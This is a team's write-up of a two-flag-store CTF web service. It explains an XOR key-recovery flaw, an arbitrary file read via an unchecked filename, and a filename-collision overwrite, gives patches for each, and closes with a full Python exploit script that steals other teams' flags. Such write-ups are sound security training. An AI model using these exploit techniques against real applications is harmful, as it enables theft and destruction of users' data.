The app had (at least :D) two exploits and also two flag storages. The checker would upload two flags each round.
* Flag Store 1: The public message "Your message to the world"* Flag Store 2: The uploaded file "Upload your personal office supply"
# Flag Store 1
The flag is stored in the database. Before that, it is encrypted using a simple XOR.
```jsfunction blockencrypt(msg, key, len) {  var encmsg = [];  for (var i = 0; i < len; i++) {    encmsg.push(msg[i] ^ key[i]);  }  return Buffer.from(encmsg);}
// ...
var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');var msg_id = crypto.randomBytes(len);var msg = (new TextEncoder()).encode(req.body.message);var encmsgid = blockencrypt(keyBuffer, msg_id, len);var encmsg = blockencrypt(keyBuffer, msg, len);msg = encmsg.toString('hex') + msg_id.toString('hex') + encmsgid.toString('hex');sql = `update stafftbl set message = ? where username = ?`;db.query(sql, [msg, user], (req, result) => { ...```
We can retrieve any message in its encrypted form through the endpoint `/staff/message/<username>`. We can grab a set of valid usernames from the attack data for this service.
Luckily for us, the crypto is flawed and allows recovery of the key.
## Reverting the cipher
The encrypted message consists of three parts of equal length: `encmsg`, `msg_id` and `encmsgid`.
* `encmsg` is the result of the `msg` (the flag) XOR'ed with `keyBuffer`. `keyBuffer` is derived from the user-password using `pbkdf2Sync`. We assume this is safe.* `msg_id` is random bytes.* `encmsgid` is the `msg_id` XOR'ed with `keyBuffer`.
We have two components of the last XOR operation, `encmsgid` and `msg_id`. That means we can reverse this operation. `encmsgid XOR msg_id` results in `keyBuffer`. Having `keyBuffer` allows us to reverse the operation on `encmsg` as well.
## Baking it into python
(Not shown: Register & Login, complete DestructiveFarm-Script at the end)
```pydef split(list_a, chunk_size):    # from https://www.programiz.com/python-programming/examples/list-chunks    for i in range(0, len(list_a), chunk_size):        yield list_a[i:i + chunk_size]
def blockencrypt(inp: bytes, key: bytes):    assert len(inp) == len(key)    return bytes([i ^ k for i, k in zip(inp, key)])
class Exploit:  ...  def get_message(self, username):      print("Get Message", username)      response = self.session.get(f"{self.base_url}/staff/message/{username}")      message = response.json()['message']       encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))       bencmsg = bytes.fromhex(encmsg)      bmsg_id = bytes.fromhex(msg_id)      bencmsgid = bytes.fromhex(encmsgid)       keyBuffer = blockencrypt(bencmsgid, bmsg_id)      original = blockencrypt(bencmsg, keyBuffer)       return original.decode()```
## Fix it
We had no clue what the checker would check for. We tried restricting the public message of a user to be only available to that user. That did not make the checker happy.
In the end, we replaced the `msg_id` part of the stored message with another set of random bytes.
```jsvar keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');var msg_id = crypto.randomBytes(len);
var msg = (new TextEncoder()).encode(req.body.message);var encmsgid = blockencrypt(keyBuffer, msg_id, len);var encmsg = blockencrypt(keyBuffer, msg, len);
var fake_msg_id = crypto.randomBytes(len);msg = encmsg.toString('hex') + fake_msg_id.toString('hex') + encmsgid.toString('hex');```
Checker was happy and we weren't losing any more flags.
# Flag Store 2
The site allows you to upload a file. The file is placed on the disk in plain text. You can only upload one file. The file can be retrieved through the /staff/supply/<filenameOnDisk> endpoint. The file upload is managed by `multer`. `multer` also handles the filename on disk.
```jsconst storage = multer.diskStorage({  destination: (req, file, cb) => {    cb(null, 'uploads');  },  filename: (req, file, cb) => {    var  newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');    cb(null, newname);  }});```
The `/staff/supply/:fn`-endpoint delivers us the uploaded file. The relevant code is shown below. It is first checked if the user has uploaded a file. If not, an error is shown. If yes, the file is sent.
```javascriptapp.get('/staff/supply/:fn', (req, res) => {  var fn = '/app/uploads/' + req.params.fn;  var user = req.session.user;  console.log('Get staff supply: ' + fn);  var sql = `select supplyname from supplytbl where username = ?`;  db.query(sql, [user], (err, result) => {    if(err) {      console.log('Get staff supply: ' + err.message);      res.status(500).send({'status': 'null'});    } else if (result.length == 0) {      console.log('Get staff supply: supply empty');      res.status(404).send({'status': 'supply not found'});    } else {      res.setHeader('Content-Type', 'text/plain');      res.status(200).sendFile(fn);    }  });});```
## Arbitrary file read
Take a look at the sql query. It will return a row once you uploaded a file for the **currently logged-in** user.Getting at least one row here will bring us directly to the `else` block where thefile of the **other** user is being returned instead of our file. The security flaw is that the returned file is notbased on the query result but rather solely on an HTTP request query parameter.
We can download any file, we just need to know the filename. `multer` combines username and original filename into a sha1 hash. Luckily, we get the username and the filename from the attack data for this service.
Assembling this is simple. We can use python for that and include it in our exploit script.
```pythondef calc_hash(username, filename):    return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()
class Exploit:    ...
    def get_file(self, thehash):        print("Get File", thehash)        # print("Trying", f"{self.base_url}/staff/supply/{thehash}")        response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")        print("Got file", response.text)        return response.text```
## Plug the hole
Our fix restricted the access to the file to the user it belongs to. We only changed the `sendFile` line.
```javascriptvar newname = crypto.createHash('sha1').update(req.session.user + result[0].supplyname).digest('hex');res.status(200).sendFile('/app/uploads/' + newname);```
As a result, the endpoint would not return the requested file, but the file belonging to the logged-in user instead.
Another option would have been to calculate a hash of the filename (`supplyname`) from the database and compare thatto the filename from the HTTP request query parameter. That would also allow returning a proper error. We opted forconfusion instead :P
# Bonus: Denial of Service
We only learned this after the CTF, but it's still worth mentioning. The file storage was prone to a denial of service attack. This means you can overwrite arbitrary files and therefore remove or corrupt flags of other teams, lowering their SLA and preventing other teams from getting flags.
```javascriptvar newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');```
The vulnerability is a filename collision from the expression `req.session.user + file.originalname`. We, as an attacker, control both parts of this expression. Therefore, we can produce any string by choosing username and filename correctly.
## Example
The CTF checker registers an account named `checker01`. It then uploads a file named `flag01`. Concatting results in `checker01flag01` and hashing produces the hash `ca72450a57a74aac795b74471ef98dfa3a5c0e5a`.
Now the attacker comes along. The attacker knows both username and filename of the user. The attacker chooses `checker01fl` as username and `ag01` as filename. Concatting results in `checker01flag01` and hashing produces `ca72450a57a74aac795b74471ef98dfa3a5c0e5a`.
The javascript code does not check whenever a file exists or not. It just overrides it.
## Potential fix
We didn't find it during the CTF, so we don't know if this fix really worked with the checker.
The obvious fix here is to check whenever the file is existing or not. In a real world scenario, this would still lead not be sufficient as users could still trigger a collision accidentally, resulting in a failed file upload.
Another way would be to "harden" the hash/filename, so it is truly unique. In general, we need an Element that is notcontrollable by the user. The user id should work here. However, inserting it into the hash still leaves little room for collision if the checker username starts with a number.
```jsconst storage = multer.diskStorage({  destination: (req, file, cb) => {    cb(null, 'uploads');  },  filename: (req, file, cb) => {    var  newname = crypto.createHash('sha1').update(req.session.staffid + req.session.user + file.originalname).digest('hex');    cb(null, newname);  }});```
Another option would be to add the id in the front, before hashing. This part is not controllable by the user, however,if the indention behind hashing username and filename was to anonymize the files, we have essentially defeated that purpose.
Of course, this is not really relevant in a CTF. But it would be, if this were a real application.
```jsconst storage = multer.diskStorage({  destination: (req, file, cb) => {    cb(null, 'uploads');  },  filename: (req, file, cb) => {    var  newname = req.session.staffid + "_" + crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');    cb(null, newname);  }});```
The user id is not present in the session by default. We need to insert it by changing the login-route.
```javascriptapp.post('/login', (req, res, next) => {  const user = req.body.user;  const pass = req.body.pass;
  if (user == undefined || pass == undefined) {    console.log('Login failed: empty')    return res.status(400).send({'status': 'empty username or password'})  }
  // CHANGE: Insert staffid in query to return data from DB  var sql = `select staffid, username, password from stafftbl where username = ?`;  db.query(sql, [user], (err, result) => {    if (err) {      console.log('Post login failed: ' + err.message)      return res.status(500).send({'status': 'null'});    }
    if (result.length != 1) {      console.log('Post login failed: none or multi user')      return res.status(401).send({'status': 'Login failed'});    }
    if (user == result[0].username && pass == result[0].password) {      req.session.regenerate((err) => {        if (err) next(err);        req.session.user = user;        // CHANGE: Store staffid in session        req.session.staffid = result[0].staffid;        console.log('Post login session: ' + JSON.stringify(req.session));        req.session.save((err) => {          if (err)            return next(err)          console.log('Post login succeeded: ' + user);          res.redirect('/staff');        });      });    } else if (user == result.username && pass != result.password) {      console.log('Post login failed: wrong password')      return res.status(401).send({'status': 'null'});    } else {      console.log('Post login failed: TODO')      return res.status(401).send({'status': 'null'});    }  });});```
# Full exploit in DestructiveFarm
(Not shown: Our `faust` module. Returns attack-data for given service and team, manages local cache of file to reduce load on infra.)
Wrapping it up, we need to:
1. Register a new account2. Login to the new account3. Upload a file4. Attack flag store 1    1. Retrieve the secret with the username in the attack data    2. Revert the XOR to get the plaintext flag5. Attack flag store 2    1. Calculate the file hash from the username and the filename in the attack data    2. Download the file
```python#!/usr/bin/env python3
import json
import requestsimport faustimport hashlibimport sys
from argparse import ArgumentParser
from typing import List, Tupleimport randomimport string
def split(list_a, chunk_size):    for i in range(0, len(list_a), chunk_size):        yield list_a[i:i + chunk_size]
def blockencrypt(inp: bytes, key: bytes):    assert len(inp) == len(key)    return bytes([i ^ k for i, k in zip(inp, key)])
class Exploit:
    def __init__(self, host, port, username):        self.session = requests.Session()        self.base_url = f"http://{host}:{port}"        self.username = username
    def register(self, username, password):        print("Register")        resp = self.session.post(f"{self.base_url}/register", data={            "user": username,            "pass": password,            "pass2": password,            "submit": "sign up"        })
        # assert resp.status_code == 200
    def login(self, username, password):        print("Login")        resp = self.session.post(f"{self.base_url}/login", data={            "user": username,            "pass": password,            "submit": "login"        })
        assert resp.status_code == 200
    def upload_any_file(self):        print("Upload")        resp = self.session.post(            f"{self.base_url}/staff/supply",            files={                'supply': ('buerofile.txt', open('buerofile.txt', "rb"))            }        )
        # assert resp.status_code == 200
    def get_file(self, thehash):        print("Get File", thehash)        # print("Trying", f"{self.base_url}/staff/supply/{thehash}")        response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")        print("Got file", response.text)        return response.text
    def get_message(self, username):        print("Get Message", username)        response = self.session.get(f"{self.base_url}/staff/message/{username}")        message = response.json()['message']
        encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))
        bencmsg = bytes.fromhex(encmsg)        bmsg_id = bytes.fromhex(msg_id)        bencmsgid = bytes.fromhex(encmsgid)
        keyBuffer = blockencrypt(bencmsgid, bmsg_id)        original = blockencrypt(bencmsg, keyBuffer)
        return original.decode()
    def run_exploit(self, users: List[str], hashes: List[str]):        username = self.username        password = get_random_string(12)
        self.register(username, password)        self.login(username, password)        self.upload_any_file()
        fileflags = [self.get_file(thehash) for thehash in hashes]        messageflags = [self.get_message(user) for user in users]
        return fileflags + messageflags
def get_random_string(length):    return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def calc_hash(username, filename):    return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()
if __name__ == "__main__":    parser = ArgumentParser("hacx")    parser.add_argument("host", default="[fd66:666:964::2]", nargs="?")    args = parser.parse_args()
    host = args.host    port = 13731
    data = faust.get_service_data(faust.get_team_from_host(host), "buerographie")
    ignored_teams = [        "[fd66:666:1::2]"        "[fd66:666:964::2]"    ]
    if host in ignored_teams:        print("Host is patched, we ignore it", file=sys.stderr, flush=True)        exit(0)
    hashes = []    users = []    for round in data:        round_data = json.loads(round)        hashes.append(calc_hash(round_data['username'], round_data['supplyname']))        users.append(round_data['username'])
    # We used usernames from our own attack data to blend in with the rest    ourdata = json.loads(next(iter(faust.get_service_data(964, 'buerographie'))))    username = ourdata["username"]
    exploit = Exploit(host, port, username)    flags = exploit.run_exploit(users, hashes)    for flag in flags:        print(flag)```